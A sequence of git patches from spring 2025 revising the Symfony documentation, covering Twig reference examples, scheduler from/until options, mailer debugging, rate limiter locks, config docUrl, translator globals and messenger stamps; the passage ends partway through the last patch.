diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 825ad3b0af7..50da312f29f 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -98,6 +98,21 @@ like :ref:`render() <reference-twig-function-render>` and
 
 .. _reference-twig-function-asset:
 
+.. code-block:: html+twig
+
+    {% set myArray = {'a': 'foo', 'b': 'bar'} %}
+
+    <iframe src="{{ render(controller('App\\Controller\\MyController::baz', {'myArray': myArray})) }}"></iframe>
+
+Output:
+
+.. code-block:: html
+
+    <iframe src="<ul>
+        <li>foo</li>
+        <li>bar</li>
+    </ul>"></iframe>
+
 asset
 ~~~~~
 
@@ -171,6 +186,11 @@ csrf_token
 Renders a CSRF token. Use this function if you want :doc:`CSRF protection </security/csrf>`
 in a regular HTML form not managed by the Symfony Form component.
 
+.. code-block:: twig
+
+	{{ csrf_token(intention = 'my_form') }}
+    {# output: generates a variable token #}
+
 is_granted
 ~~~~~~~~~~
 
@@ -830,6 +850,28 @@ Generates an excerpt of a code file around the given ``line`` number. The
 ``srcContext`` argument defines the total number of lines to display around the
 given line number (use ``-1`` to display the whole file).
 
+Let's assume this is the content of a file :
+
+.. code-block:: text
+
+    a
+    b
+    c
+    d
+    e
+
+.. code-block:: twig
+
+    {{ "/path/to/file/file.txt"|file_excerpt(line = 4, srcContext = 1) }}
+    {# output:
+        3.c
+        4.d
+        5.e #}
+
+    {{ "/path/to/file/file.txt"|file_excerpt(line = 1, srcContext = 0) }}
+    {# output:
+        1.a #}
+
 format_file
 ~~~~~~~~~~~
 
@@ -848,6 +890,36 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
+Example 1
+
+.. code-block:: twig
+
+    {{ "path/to/file/file.txt"|format_file(line = 1, text = "my_text") }}
+
+Output:
+
+.. code-block:: html
+
+    <a href="path/to/file/file.txt#L1"
+        title="Click to open this file" class="file_link">my_text at line 1
+    </a>
+
+Example 2
+
+.. code-block:: twig
+
+    {{ "path/to/file/file.txt"|format_file(line = 3) }}
+
+Output:
+
+.. code-block:: html
+
+    <a href="path/to/file/file.txt#L3"
+        title="Click to open this file" class="file_link">
+        <abbr title="path/to/file/file.txt">file.txt</abbr>
+        / at line 3
+    </a>
+
 format_file_from_text
 ~~~~~~~~~~~~~~~~~~~~~
 

From 3c4f75387112e4e5f755f7925517edcbf86ab668 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 12:33:55 +0200
Subject: [PATCH 5519/5766] Tweaks and rewords

---
 reference/configuration/framework.rst |  2 +
 reference/twig_reference.rst          | 84 ++++++++++++---------------
 2 files changed, 39 insertions(+), 47 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 8838a6a61b2..2274addf1aa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -271,6 +271,8 @@ The ``trusted_proxies`` option is needed to get precise information about the
 client (e.g. their IP address) when running Symfony behind a load balancer or a
 reverse proxy. See :doc:`/deployment/proxies`.
 
+.. _reference-framework-ide:
+
 ide
 ~~~
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 50da312f29f..08ea8f1d581 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -96,22 +96,12 @@ Returns an instance of ``ControllerReference`` to be used with functions
 like :ref:`render() <reference-twig-function-render>` and
 :ref:`render_esi() <reference-twig-function-render-esi>`.
 
-.. _reference-twig-function-asset:
-
 .. code-block:: html+twig
 
-    {% set myArray = {'a': 'foo', 'b': 'bar'} %}
-
-    <iframe src="{{ render(controller('App\\Controller\\MyController::baz', {'myArray': myArray})) }}"></iframe>
-
-Output:
-
-.. code-block:: html
+    {{ render(controller('App\\Controller\\BlogController:latest', {max: 3})) }}
+    {# output: the content returned by the controller method; e.g. a rendered Twig template #}
 
-    <iframe src="<ul>
-        <li>foo</li>
-        <li>bar</li>
-    </ul>"></iframe>
+.. _reference-twig-function-asset:
 
 asset
 ~~~~~
@@ -188,8 +178,9 @@ in a regular HTML form not managed by the Symfony Form component.
 
 .. code-block:: twig
 
-	{{ csrf_token(intention = 'my_form') }}
-    {# output: generates a variable token #}
+    {{ csrf_token('my_form') }}
+    {# output: a random alphanumeric string like:
+       a.YOosAd0fhT7BEuUCFbROzrvgkW8kpEmBDQ_DKRMUi2o.Va8ZQKt5_2qoa7dLW-02_PLYwDBx9nnWOluUHUFCwC5Zo0VuuVfQCqtngg #}
 
 is_granted
 ~~~~~~~~~~
@@ -850,7 +841,7 @@ Generates an excerpt of a code file around the given ``line`` number. The
 ``srcContext`` argument defines the total number of lines to display around the
 given line number (use ``-1`` to display the whole file).
 
-Let's assume this is the content of a file :
+Consider the following as the content of ``file.txt``:
 
 .. code-block:: text
 
@@ -862,15 +853,21 @@ Let's assume this is the content of a file :
 
 .. code-block:: twig
 
-    {{ "/path/to/file/file.txt"|file_excerpt(line = 4, srcContext = 1) }}
+    {{ '/path/to/file.txt'|file_excerpt(line = 4, srcContext = 1) }}
     {# output:
-        3.c
-        4.d
-        5.e #}
-
-    {{ "/path/to/file/file.txt"|file_excerpt(line = 1, srcContext = 0) }}
+        <ol start="3">
+            <li><a class="anchor" id="line3"></a><code>c</code></li>
+            <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
+            <li><a class="anchor" id="line5"></a><code>e</code></li>
+        </ol>
+    #}
+
+    {{ '/path/to/file.txt'|file_excerpt(line = 1, srcContext = 0) }}
     {# output:
-        1.a #}
+        <ol start="1">
+            <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
+        </ol>
+    #}
 
 format_file
 ~~~~~~~~~~~
@@ -890,35 +887,28 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
-Example 1
-
 .. code-block:: twig
 
-    {{ "path/to/file/file.txt"|format_file(line = 1, text = "my_text") }}
-
-Output:
-
-.. code-block:: html
-
-    <a href="path/to/file/file.txt#L1"
-        title="Click to open this file" class="file_link">my_text at line 1
-    </a>
-
-Example 2
-
-.. code-block:: twig
-
-    {{ "path/to/file/file.txt"|format_file(line = 3) }}
+    {{ '/path/to/file.txt'|format_file(line = 1, text = "my_text") }}
+    {# output:
+        <a href="/path/to/file.txt#L1"
+            title="Click to open this file" class="file_link">my_text at line 1
+        </a>
+    #}
 
-Output:
+    {{ "/path/to/file.txt"|format_file(line = 3) }}
+    {# output:
+        <a href="/path/to/file.txt&amp;line=3"
+            title="Click to open this file" class="file_link">/path/to/file.txt at line 3
+        </a>
+    #}
 
-.. code-block:: html
+.. tip::
 
-    <a href="path/to/file/file.txt#L3"
-        title="Click to open this file" class="file_link">
-        <abbr title="path/to/file/file.txt">file.txt</abbr>
-        / at line 3
-    </a>
+    If you set the :ref:`framework.ide <reference-framework-ide>` option, the
+    generated links will change to open the file in that IDE/editor. For example,
+    when using PhpStorm, the ``<a href="/path/to/file.txt&amp;line=3"`` link will
+    become ``<a href="phpstorm://open?file=/path/to/file.txt&amp;line=3"``.
 
 format_file_from_text
 ~~~~~~~~~~~~~~~~~~~~~

From 334dc800ca4d5a03f3346d408486f9545c3b498f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 3 Apr 2025 12:40:55 +0200
Subject: [PATCH 5520/5766] Fix some syntax issues

---
 reference/twig_reference.rst | 46 ++++++++++++++++--------------------
 1 file changed, 21 insertions(+), 25 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 08ea8f1d581..8ad72575e82 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -96,7 +96,7 @@ Returns an instance of ``ControllerReference`` to be used with functions
 like :ref:`render() <reference-twig-function-render>` and
 :ref:`render_esi() <reference-twig-function-render-esi>`.
 
-.. code-block:: html+twig
+.. code-block:: twig
 
     {{ render(controller('App\\Controller\\BlogController:latest', {max: 3})) }}
     {# output: the content returned by the controller method; e.g. a rendered Twig template #}
@@ -851,23 +851,21 @@ Consider the following as the content of ``file.txt``:
     d
     e
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     {{ '/path/to/file.txt'|file_excerpt(line = 4, srcContext = 1) }}
-    {# output:
-        <ol start="3">
-            <li><a class="anchor" id="line3"></a><code>c</code></li>
-            <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
-            <li><a class="anchor" id="line5"></a><code>e</code></li>
-        </ol>
-    #}
+    {# output: #}
+    <ol start="3">
+        <li><a class="anchor" id="line3"></a><code>c</code></li>
+        <li class="selected"><a class="anchor" id="line4"></a><code>d</code></li>
+        <li><a class="anchor" id="line5"></a><code>e</code></li>
+    </ol>
 
     {{ '/path/to/file.txt'|file_excerpt(line = 1, srcContext = 0) }}
-    {# output:
-        <ol start="1">
-            <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
-        </ol>
-    #}
+    {# output: #}
+    <ol start="1">
+        <li class="selected"><a class="anchor" id="line1"></a><code>a</code></li>
+    </ol>
 
 format_file
 ~~~~~~~~~~~
@@ -887,21 +885,19 @@ Generates the file path inside an ``<a>`` element. If the path is inside
 the kernel root directory, the kernel root directory path is replaced by
 ``kernel.project_dir`` (showing the full path in a tooltip on hover).
 
-.. code-block:: twig
+.. code-block:: html+twig
 
     {{ '/path/to/file.txt'|format_file(line = 1, text = "my_text") }}
-    {# output:
-        <a href="/path/to/file.txt#L1"
-            title="Click to open this file" class="file_link">my_text at line 1
-        </a>
-    #}
+    {# output: #}
+    <a href="/path/to/file.txt#L1"
+        title="Click to open this file" class="file_link">my_text at line 1
+    </a>
 
     {{ "/path/to/file.txt"|format_file(line = 3) }}
-    {# output:
-        <a href="/path/to/file.txt&amp;line=3"
-            title="Click to open this file" class="file_link">/path/to/file.txt at line 3
-        </a>
-    #}
+    {# output: #}
+    <a href="/path/to/file.txt&amp;line=3"
+        title="Click to open this file" class="file_link">/path/to/file.txt at line 3
+    </a>
 
 .. tip::
 

From 534c9837e20c0049a2cdcf93f6b93a647a581bae Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 08:31:32 +0200
Subject: [PATCH 5521/5766] Reword

---
 scheduler.rst | 29 +++++++++++------------------
 1 file changed, 11 insertions(+), 18 deletions(-)

diff --git a/scheduler.rst b/scheduler.rst
index e9c729ab986..63ec32962cf 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -290,32 +290,25 @@ defined by PHP datetime functions::
 
     You can also define periodic tasks using :ref:`the AsPeriodicTask attribute <scheduler-attributes-periodic-task>`.
 
-Be aware that the message isn't passed to the messenger when you start the
-scheduler. The message will only be executed after the first frequency period
-has passed.
-
-It's also possible to pass a from and until time for your schedule. For
-example, if you want to execute a command every day at 13:00::
+You can also define ``from`` and ``until`` times for your schedule::
 
+    // create a message every day at 13:00
     $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
-    RecurringMessage::every('1 day', new Message(), from: $from);
-
-Or if you want to execute a message every day until a specific date::
+    RecurringMessage::every('1 day', new Message(), $from);
 
+    // create a message every day until a specific date::
     $until = '2023-06-12';
-    RecurringMessage::every('1 day', new Message(), until: $until);
-
-And you can even combine the from and until parameters for more granular
-control::
+    RecurringMessage::every('1 day', new Message(), null, $until);
 
+    // combine from and until for more precise control
     $from = new \DateTimeImmutable('2023-01-01 13:47', new \DateTimeZone('Europe/Paris'));
     $until = '2023-06-12';
-    RecurringMessage::every('first Monday of next month', new Message(), from: $from, until: $until);
+    RecurringMessage::every('first Monday of next month', new Message(), $from, $until);
 
-If you don't pass a from parameter to your schedule, the first frequency period
-is counted from the moment the scheduler is started. So if you start your
-scheduler at 8:33 and the message is scheduled to perform every hour, it
-will be executed at 9:33, 10:33, 11:33 and so on.
+When starting the scheduler, the message isn't sent to the messenger immediately.
+If you don't set a ``from`` parameter, the first frequency period starts from the
+moment the scheduler runs. For example, if you start it at 8:33 and the message
+is scheduled hourly, it will run at 9:33, 10:33, 11:33, etc.
 
 Custom Triggers
 ~~~~~~~~~~~~~~~

From 9c2d1d9198e70676f45a34119d7d563718840db9 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=D0=93=D1=80=D0=B8=D0=B3=D0=BE=D1=80=D0=B8=D0=B9?=
 <grin180898@mail.ru>
Date: Sun, 25 Aug 2024 21:23:24 +1200
Subject: [PATCH 5522/5766] [Mailer] Update mailer.rst

---
 mailer.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 53a6475a093..27a90c73191 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -834,6 +834,13 @@ The exceptions related to mailer transports (those which implement
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.
 
+But you have to keep in mind that using :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
+you can't rely on asynchronous sending emails.
+It doesn't use a bus to dispatch :class:`Symfony\\Component\\Mailer\\Messenger\\SendEmailMessage`.
+
+Use :class:`Symfony\\Component\\Mailer\\MailerInterface` if you want to have an opportunity
+to send emails asynchronously.
+
 .. _mailer-twig:
 
 Twig: HTML & CSS

From eb5f908bc97bd2b40d9bbe644d8c61674d1a7714 Mon Sep 17 00:00:00 2001
From: Kevin Bond <kevinbond@gmail.com>
Date: Fri, 4 Apr 2025 10:44:13 -0400
Subject: [PATCH 5523/5766] [RateLimiter] default `lock_factory` to `auto`

---
 rate_limiter.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 6c158ee52d0..1cef90828f5 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -461,9 +461,10 @@ simultaneous requests (e.g. three servers of a company hitting your API at the
 same time). Rate limiters use :doc:`locks </lock>` to protect their operations
 against these race conditions.
 
-By default, Symfony uses the global lock configured by ``framework.lock``, but
-you can use a specific :ref:`named lock <lock-named-locks>` via the
-``lock_factory`` option (or none at all):
+By default, if the :doc:`lock </lock>` component is installed, Symfony uses the
+global lock configured by ``framework.lock``, but you can use a specific
+:ref:`named lock <lock-named-locks>` via the ``lock_factory`` option (or none
+at all):
 
 .. configuration-block::
 

From 74a146ee4f74fbc7dae98fa695040dd8da81dcc3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 16:51:36 +0200
Subject: [PATCH 5524/5766] Reword

---
 mailer.rst | 65 +++++++++++++++++++++++++++++++++++-------------------
 1 file changed, 42 insertions(+), 23 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 27a90c73191..52c6ee7dded 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -807,40 +807,59 @@ Catch that exception to recover from the error or to display some message::
 Debugging Emails
 ----------------
 
-The :class:`Symfony\\Component\\Mailer\\SentMessage` object returned by the
-``send()`` method of the :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-provides access to the original message (``getOriginalMessage()``) and to some
-debug information (``getDebug()``) such as the HTTP calls done by the HTTP
-transports, which is useful to debug errors.
+The ``send()`` method of the mailer service injected when using ``MailerInterface``
+doesn't return anything, so you can't access the sent email information. This is because
+it sends email messages **asynchronously** when the :doc:`Messenger component </messenger>`
+is used in the application.
 
-You can also access :class:`Symfony\\Component\\Mailer\\SentMessage` by listening
-to the :ref:`SentMessageEvent <mailer-sent-message-event>` and retrieve ``getDebug()``
-by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
+To access information about the sent email, update your code to replace the
+:class:`Symfony\\Component\\Mailer\\MailerInterface` with
+:class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`:
 
-.. note::
+.. code-block:: diff
+
+    -use Symfony\Component\Mailer\MailerInterface;
+    +use Symfony\Component\Mailer\Transport\TransportInterface;
+     // ...
+
+     class MailerController extends AbstractController
+     {
+         #[Route('/email')]
+    -    public function sendEmail(MailerInterface $mailer): Response
+    +    public function sendEmail(TransportInterface $mailer): Response
+         {
+             $email = (new Email())
+                 // ...
+
+             $sentEmail = $mailer->send($email);
 
-    If your code used :class:`Symfony\\Component\\Mailer\\MailerInterface`, you
-    need to replace it by :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-    to have the ``SentMessage`` object returned.
+             // ...
+         }
+     }
+
+The ``send()`` method of ``TransportInterface`` returns an object of type
+:class:`Symfony\\Component\\Mailer\\SentMessage`. This is because it always sends
+the emails **synchronously**, even if your application uses the Messenger component.
+
+The ``SentMessage`` object provides access to the original message
+(``getOriginalMessage()``) and to some debug information (``getDebug()``) such
+as the HTTP calls done by the HTTP transports, which is useful to debug errors.
+
+You can also access the :class:`Symfony\\Component\\Mailer\\SentMessage` object
+by listening to the :ref:`SentMessageEvent <mailer-sent-message-event>`, and retrieve
+``getDebug()`` by listening to the :ref:`FailedMessageEvent <mailer-failed-message-event>`.
 
 .. note::
 
     Some mailer providers change the ``Message-Id`` when sending the email. The
-    ``getMessageId()`` method from ``SentMessage`` always returns the definitive
-    ID of the message (being the original random ID generated by Symfony or the
-    new ID generated by the mailer provider).
+    ``getMessageId()`` method from ``SentMessage`` always returns the final ID
+    of the message - whether it's the original random ID generated by Symfony or
+    a new one generated by the provider.
 
-The exceptions related to mailer transports (those which implement
+Exceptions related to mailer transports (those implementing
 :class:`Symfony\\Component\\Mailer\\Exception\\TransportException`) also provide
 this debug information via the ``getDebug()`` method.
 
-But you have to keep in mind that using :class:`Symfony\\Component\\Mailer\\Transport\\TransportInterface`
-you can't rely on asynchronous sending emails.
-It doesn't use a bus to dispatch :class:`Symfony\\Component\\Mailer\\Messenger\\SendEmailMessage`.
-
-Use :class:`Symfony\\Component\\Mailer\\MailerInterface` if you want to have an opportunity
-to send emails asynchronously.
-
 .. _mailer-twig:
 
 Twig: HTML & CSS

From 8ed84b509d7a062e4991024d71770e0411f2f77c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 4 Apr 2025 16:53:55 +0200
Subject: [PATCH 5525/5766] Fix RST syntax issue

---
 scheduler.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 63ec32962cf..e7d855db249 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -296,7 +296,7 @@ You can also define ``from`` and ``until`` times for your schedule::
     $from = new \DateTimeImmutable('13:00', new \DateTimeZone('Europe/Paris'));
     RecurringMessage::every('1 day', new Message(), $from);
 
-    // create a message every day until a specific date::
+    // create a message every day until a specific date
     $until = '2023-06-12';
     RecurringMessage::every('1 day', new Message(), null, $until);
 

From 19b99dbe1b32290052fd6d211e75836efa00f20b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 4 Apr 2025 17:04:03 +0200
Subject: [PATCH 5526/5766] [Config] Add `NodeDefinition::docUrl()`

---
 components/config/definition.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 44189d9dd6f..4848af33ffe 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -546,6 +546,30 @@ and in XML:
     <!-- entries-per-page: This value is only used for the search results page. -->
     <config entries-per-page="25"/>
 
+You can also provide a URL to a full documentation page::
+
+    $rootNode
+        ->docUrl('Full documentation is available at https://example.com/docs/{version:major}.{version:minor}/reference.html')
+        ->children()
+            ->integerNode('entries_per_page')
+                ->defaultValue(25)
+            ->end()
+        ->end()
+    ;
+
+A few placeholders are available to customize the URL:
+
+* ``{version:major}``: The major version of the package currently installed
+* ``{version:minor}``: The minor version of the package currently installed
+* ``{package}``: The name of the package
+
+The placeholders will be replaced when printing the configuration tree with the
+``config:dump-reference`` command.
+
+.. versionadded:: 7.3
+
+    The ``docUrl()`` method was introduced in Symfony 7.3.
+
 Optional Sections
 -----------------
 

From 50b6ffdac765fad51e6c087a00667711840aea10 Mon Sep 17 00:00:00 2001
From: RisingSunLight <risingsunlightdev@gmail.com>
Date: Mon, 7 Apr 2025 00:49:36 +0200
Subject: [PATCH 5527/5766] fix command explanation

---
 templates.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 77e10bc5596..98742058988 100644
--- a/templates.rst
+++ b/templates.rst
@@ -849,7 +849,8 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/email/
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
-    # you can also show the deprecated features used in your templates
+    # you can also show the first deprecated feature used in your templates
+    # as it shows only the first one found, you may need to run it until no more deprecations are found
     $ php bin/console lint:twig --show-deprecations templates/email/
 
 When running the linter inside `GitHub Actions`_, the output is automatically

From 20ce1892efe75de46c9447a7a40baab5f6a5a2a0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:09:16 +0200
Subject: [PATCH 5528/5766] Added a versionadded directive

---
 rate_limiter.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 1cef90828f5..81bd7f5689e 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -535,6 +535,12 @@ at all):
                 ;
         };
 
+.. versionadded:: 7.3
+
+    Before Symfony 7.3, configuring a rate limiter and using the default configured
+    lock factory (``lock.factory``) failed if the Symfony Lock component was not
+    installed in the application.
+
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
 .. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/

From 03321a8e0246365b1a17ac998f1de895f28b94ad Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:36:00 +0200
Subject: [PATCH 5529/5766] Minor reword

---
 templates.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/templates.rst b/templates.rst
index 98742058988..5e34b930d0e 100644
--- a/templates.rst
+++ b/templates.rst
@@ -849,8 +849,8 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/email/
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
-    # you can also show the first deprecated feature used in your templates
-    # as it shows only the first one found, you may need to run it until no more deprecations are found
+    # you can also show the deprecated features used in your templates
+    # (only the first deprecation is shown, so run multiple times to catch all)
     $ php bin/console lint:twig --show-deprecations templates/email/
 
 When running the linter inside `GitHub Actions`_, the output is automatically

From b5efbcd9a777ac3e913a93fdfb96e1c0ef934fc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 08:41:41 +0200
Subject: [PATCH 5530/5766] [Templates] Add a versionadded diretive for a
 command change

---
 templates.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index a93bbe742c6..c6312abb33c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -870,7 +870,6 @@ errors. It's useful to run it before deploying your application to production
     $ php bin/console lint:twig templates/article/recent_list.html.twig
 
     # you can also show the deprecated features used in your templates
-    # (only the first deprecation is shown, so run multiple times to catch all)
     $ php bin/console lint:twig --show-deprecations templates/email/
 
     # you can also excludes directories
@@ -880,6 +879,11 @@ errors. It's useful to run it before deploying your application to production
 
     The option to exclude directories was introduced in Symfony 7.1.
 
+.. versionadded:: 7.3
+
+    Before Symfony 7.3, the ``--show-deprecations`` option only displayed the
+    first deprecation found, so you had to run the command repeatedly.
+
 When running the linter inside `GitHub Actions`_, the output is automatically
 adapted to the format required by GitHub, but you can force that format too:
 

From 97de6eb32ef3f5d8d1b7d2c1fca5fffe04806c1f Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Mon, 7 Apr 2025 08:42:34 +0200
Subject: [PATCH 5531/5766] [Translator] document global variables feature
 configuration

---
 translation.rst | 61 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 61 insertions(+)

diff --git a/translation.rst b/translation.rst
index c8996c08b48..7800161d77b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1160,6 +1160,67 @@ service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitche
 class to inject the locale switcher service. Otherwise, configure your services
 manually and inject the ``translation.locale_switcher`` service.
 
+.. _translation-global-variables:
+
+Global Variables
+~~~~~~~~~~~~~~~~
+
+The translator allows you to automatically configure global variables that will be available
+for the translation process. These global variables are defined in the ``translations.globals``
+option inside the main configuration file:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/translator.yaml
+        translator:
+            # ...
+            globals:
+                '%%app_name%%': 'My application'
+                '{app_version}': '1.2.3'
+                '{url}': { message: 'url', parameters: { scheme: 'https://' }, domain: 'global' }
+
+    .. code-block:: xml
+
+           <!-- config/packages/translation.xml -->
+           <?xml version="1.0" encoding="UTF-8" ?>
+           <container xmlns="http://symfony.com/schema/dic/services"
+               xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+               xmlns:framework="http://symfony.com/schema/dic/symfony"
+               xsi:schemaLocation="http://symfony.com/schema/dic/services
+                   https://symfony.com/schema/dic/services/services-1.0.xsd
+                   http://symfony.com/schema/dic/symfony
+                   https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+               <framework:config>
+                   <framework:translator>
+                       <!-- ... -->
+                       <framework:global name="%%app_name%%">My application</framework:global>
+                       <framework:global name="{app_version}" value="1.2.3" />
+                       <framework:global name="{url}" message="url" domain="global">
+                            <framework:parameter name="scheme">https://</framework:parameter>
+                        </framework:global>
+                   </framework:translator>
+               </framework:config>
+           </container>
+
+    .. code-block:: php
+
+        // config/packages/translator.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $translator): void {
+            // ...
+            $translator->globals('%%app_name%%')->value('My application');
+            $translator->globals('{app_version}')->value('1.2.3');
+            $translator->globals('{url}')->value(['message' => 'url', 'parameters' => ['scheme' => 'https://']);
+        };
+
+.. versionadded:: 7.3
+
+    The ``translator:globals`` option was introduced in Symfony 7.3.
+
 .. _translation-debug:
 
 How to Find Missing or Unused Translation Messages

From 97d301a5c1c4a69f3958777b95d9c8ffcd4b928b Mon Sep 17 00:00:00 2001
From: Pierre Ambroise <pierre27.ambroise@gmail.com>
Date: Wed, 2 Apr 2025 11:41:05 +0200
Subject: [PATCH 5532/5766] [Messenger] Document stamps in HandleTrait::handle

---
 messenger.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index fc8f9491022..159dd567a34 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2512,6 +2512,20 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
         }
     }
 
+You also can also add stamps when handling a message. For example, you can
+add an ``DoctrineFlushStamp`` to flush the entity manager after handling the message::
+
+    $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
+
+.. note::
+
+    If adding a stamp of the same type that already exists in the envelope,
+    both stamps will be kept (see `Envelopes & Stamps`_).
+
+.. versionadded:: 7.3
+
+    The ``$stamps`` parameter on the handle method was introduced in Symfony 7.3.
+
 Customizing Handlers
 --------------------
 

From c2c14fd74b50128ffd986919aec8c1fc7cf49cca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 09:40:08 +0200
Subject: [PATCH 5533/5766] Minor tweak

---
 messenger.rst | 12 ++++--------
 1 file changed, 4 insertions(+), 8 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 47e0ad61906..b05056243c2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2525,19 +2525,15 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
         }
     }
 
-You also can also add stamps when handling a message. For example, you can
-add an ``DoctrineFlushStamp`` to flush the entity manager after handling the message::
+You can also add new stamps when handling a message; they will be appended
+to the existing ones. For example, you can add a ``DoctrineFlushStamp`` to
+flush the entity manager after handling the message::
 
     $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
 
-.. note::
-
-    If adding a stamp of the same type that already exists in the envelope,
-    both stamps will be kept (see `Envelopes & Stamps`_).
-
 .. versionadded:: 7.3
 
-    The ``$stamps`` parameter on the handle method was introduced in Symfony 7.3.
+    The ``$stamps`` parameter of the ``handle()`` method was introduced in Symfony 7.3.
 
 Customizing Handlers
 --------------------

From 7f9f20fcd83889b0725ec7d6e7192af8dc2391c8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 7 Apr 2025 10:16:39 +0200
Subject: [PATCH 5534/5766] [Mesenger] Fix code example

---
 messenger.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b05056243c2..9078a500d11 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2526,10 +2526,9 @@ wherever you need a query bus behavior instead of the ``MessageBusInterface``::
     }
 
 You can also add new stamps when handling a message; they will be appended
-to the existing ones. For example, you can add a ``DoctrineFlushStamp`` to
-flush the entity manager after handling the message::
+to the existing ones::
 
-    $this->handle(new SomeMessage($data), [new DoctrineFlushStamp()]);
+    $this->handle(new SomeMessage($data), [new SomeStamp(), new AnotherStamp()]);
